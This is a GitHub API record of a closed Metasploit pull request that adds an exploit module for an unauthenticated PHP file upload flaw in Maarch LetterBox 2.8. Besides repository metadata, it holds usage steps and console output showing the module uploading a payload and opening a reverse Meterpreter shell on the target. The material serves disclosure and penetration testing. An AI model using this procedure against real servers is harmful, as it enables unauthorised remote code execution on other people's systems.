{"action":"closed","number":4752,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4752","id":29122391,"html_url":"https://github.com/rapid7/metasploit-framework/pull/4752","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4752.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4752.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4752","number":4752,"state":"closed","locked":false,"title":"Add Maarch LetterBox file upload module","user":{"login":"rastating","id":2500434,"avatar_url":"https://avatars.githubusercontent.com/u/2500434?v=3","gravatar_id":"","url":"https://api.github.com/users/rastating","html_url":"https://github.com/rastating","followers_url":"https://api.github.com/users/rastating/followers","following_url":"https://api.github.com/users/rastating/following{/other_user}","gists_url":"https://api.github.com/users/rastating/gists{/gist_id}","starred_url":"https://api.github.com/users/rastating/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rastating/subscriptions","organizations_url":"https://api.github.com/users/rastating/orgs","repos_url":"https://api.github.com/users/rastating/repos","events_url":"https://api.github.com/users/rastating/events{/privacy}","received_events_url":"https://api.github.com/users/rastating/received_events","type":"User","site_admin":false},"body":"This module provides the ability for an unauthenticated user to upload and execute an arbitrary PHP file by utilising a lack of validation in websites using version 2.8 of Maarch LetterBox.\r\n\r\n## References\r\n* http://www.cvedetails.com/cve/2015-1587/ (database doesn't seem to be updated yet with the information but this is the correct CVE-ID)\r\n* Currently awaiting an OSVDB identifier, I will update this pull request or send a new one at a later date with the appropriate ID included once made available.\r\n\r\n## Verification\r\n- [x] Download and install the latest version of [Maarch LetterBox](http://sourceforge.net/projects/maarchletterbox/files/latest/download). An installation guide can be found [Here](http://wiki.maarch.org/Maarch_LetterBox/Installation_and_Administration_Guide), however the exploit should work without a full install too\r\n- [x] Load msfconsole and ```use exploit/unix/webapp/maarch_letterbox_unrestricted_file_upload```\r\n- [x] Set RHOST to the target's address\r\n- [x] If running LetterBox in a subdirectory, ensure to set TARGETURI appropriately (e.g. if running in a folder called maarch, set TARGETURI to /maarch/)\r\n- [x] Set the payload\r\n- [x] Run ```check``` to check if the version seems vulnerable\r\n- [x] Run ```exploit``` to upload and execute the payload\r\n\r\n## Example Output\r\n```\r\nmsf > use exploit/unix/webapp/maarch_letterbox_unrestricted_file_upload\r\nmsf exploit(maarch_letterbox_unrestricted_file_upload) > set RHOST 192.168.1.15\r\nRHOST => 192.168.1.15\r\nmsf exploit(maarch_letterbox_unrestricted_file_upload) > set TARGETURI /maarch/\r\nTARGETURI => /maarch/\r\nmsf exploit(maarch_letterbox_unrestricted_file_upload) > set PAYLOAD php/meterpreter/reverse_tcp\r\nPAYLOAD => php/meterpreter/reverse_tcp\r\nmsf exploit(maarch_letterbox_unrestricted_file_upload) > set LHOST 192.168.1.189\r\nLHOST => 192.168.1.189\r\nmsf exploit(maarch_letterbox_unrestricted_file_upload) > check\r\n[*] 192.168.1.15:80 - The target appears to be vulnerable.\r\nmsf exploit(maarch_letterbox_unrestricted_file_upload) > exploit\r\n\r\n[*] Started reverse handler on 192.168.1.189:4444\r\n[*] 192.168.1.15:80 - Preparing payload...\r\n[*] 192.168.1.15:80 - Uploading payload...\r\n[*] 192.168.1.15:80 - Parsing server response...\r\n[+] 192.168.1.15:80 - Parsed response\r\n[*] 192.168.1.15:80 - Executing the payload at /maarch/tmp/tmp_filed3d9fc605c0ca746ad257ce11331a6b2.php\r\n[*] Sending stage (40499 bytes) to 192.168.1.15\r\n[*] Meterpreter session 1 opened (192.168.1.189:4444 -> 192.168.1.15:39714) at 2015-02-11 19:40:34 +0000\r\n[+] Deleted tmp_filed3d9fc605c0ca746ad257ce11331a6b2.php\r\n[+] 192.168.1.15:80 - Executed payload\r\n\r\nmeterpreter > getuid\r\nServer username: www-data (33)\r\nmeterpreter > sysinfo\r\nComputer    : ubuntu\r\nOS          : Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64\r\nMeterpreter : php/php\r\nmeterpreter >\r\n```","created_at":"2015-02-11T19:50:42Z","updated_at":"2015-02-12T17:50:39Z","closed_at":"2015-02-12T17:50:39Z","merged_at":null,"merge_commit_sha":"431e23adf40396e40efcd12e639235bd5df0aa5c","assignee":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4752/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4752/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4752/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/fcb52f2fa9fb9d5e3045f1dd128863ab654575b8","head":{"label":"rastating:maarch_letterbox_unrestricted_file_upload","ref":"maarch_letterbox_unrestricted_file_upload","sha":"fcb52f2fa9fb9d5e3045f1dd128863ab654575b8","user":{"login":"rastating","id":2500434,"avatar_url":"https://avatars.githubusercontent.com/u/2500434?v=3","gravatar_id":"","url":"https://api.github.com/users/rastating","html_url":"https://github.com/rastating","followers_url":"https://api.github.com/users/rastating/followers","following_url":"https://api.github.com/users/rastating/following{/other_user}","gists_url":"https://api.github.com/users/rastating/gists{/gist_id}","starred_url":"https://api.github.com/users/rastating/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rastating/subscriptions","organizations_url":"https://api.github.com/users/rastating/orgs","repos_url":"https://api.github.com/users/rastating/repos","events_url":"https://api.github.com/users/rastating/events{/privacy}","received_events_url":"https://api.github.com/users/rastating/received_events","type":"User","site_admin":false},"repo":{"id":28781153,"name":"metasploit-framework","full_name":"rastating/metasploit-framework","owner":{"login":"rastating","id":2500434,"avatar_url":"https://avatars.githubusercontent.com/u/2500434?v=3","gravatar_id":"","url":"https://api.github.com/users/rastating","html_url":"https://github.com/rastating","followers_url":"https://api.github.com/users/rastating/followers","following_url":"https://api.github.com/users/rastating/following{/other_user}","gists_url":"https://api.github.com/users/rastating/gists{/gist_id}","starred_url":"https://api.github.com/users/rastating/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rastating/subscriptions","organizations_url":"https://api.github.com/users/rastating/orgs","repos_url":"https://api.github.com/users/rastating/repos","events_url":"https://api.github.com/users/rastating/events{/privacy}","received_events_url":"https://api.github.com/users/rastating/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/rastating/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/rastating/metasploit-framework","forks_url":"https://api.github.com/repos/rastating/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rastating/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rastating/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rastating/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rastating/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rastating/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rastating/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rastating/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rastating/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rastating/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rastating/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rastating/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rastating/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rastating/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rastating/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rastating/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rastating/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rastating/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rastating/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rastating/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rastating/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rastating/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rastating/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rastating/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rastating/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rastating/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rastating/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rastating/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rastating/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rastating/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rastating/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rastating/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rastating/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rastating/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rastating/metasploit-framework/releases{/id}","created_at":"2015-01-04T17:43:57Z","updated_at":"2015-02-11T01:09:28Z","pushed_at":"2015-02-11T23:01:53Z","git_url":"git://github.com/rastating/metasploit-framework.git","ssh_url":"git@github.com:rastating/metasploit-framework.git","clone_url":"https://github.com/rastating/metasploit-framework.git","svn_url":"https://github.com/rastating/metasploit-framework","homepage":"http://www.metasploit.com/","size":273724,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"2397be6e458a78e8e2b23cf111cb52527b18a22c","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-02-12T17:47:48Z","pushed_at":"2015-02-12T17:48:19Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1276009,"stargazers_count":3309,"watchers_count":3309,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2769,"mirror_url":null,"open_issues_count":197,"forks":2769,"open_issues":197,"watchers":3309,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4752"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4752"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4752"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4752/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4752/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4752/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/fcb52f2fa9fb9d5e3045f1dd128863ab654575b8"}},"merged":false,"mergeable":true,"mergeable_state":"clean","merged_by":null,"comments":2,"review_comments":0,"commits":2,"additions":99,"deletions":0,"changed_files":1}}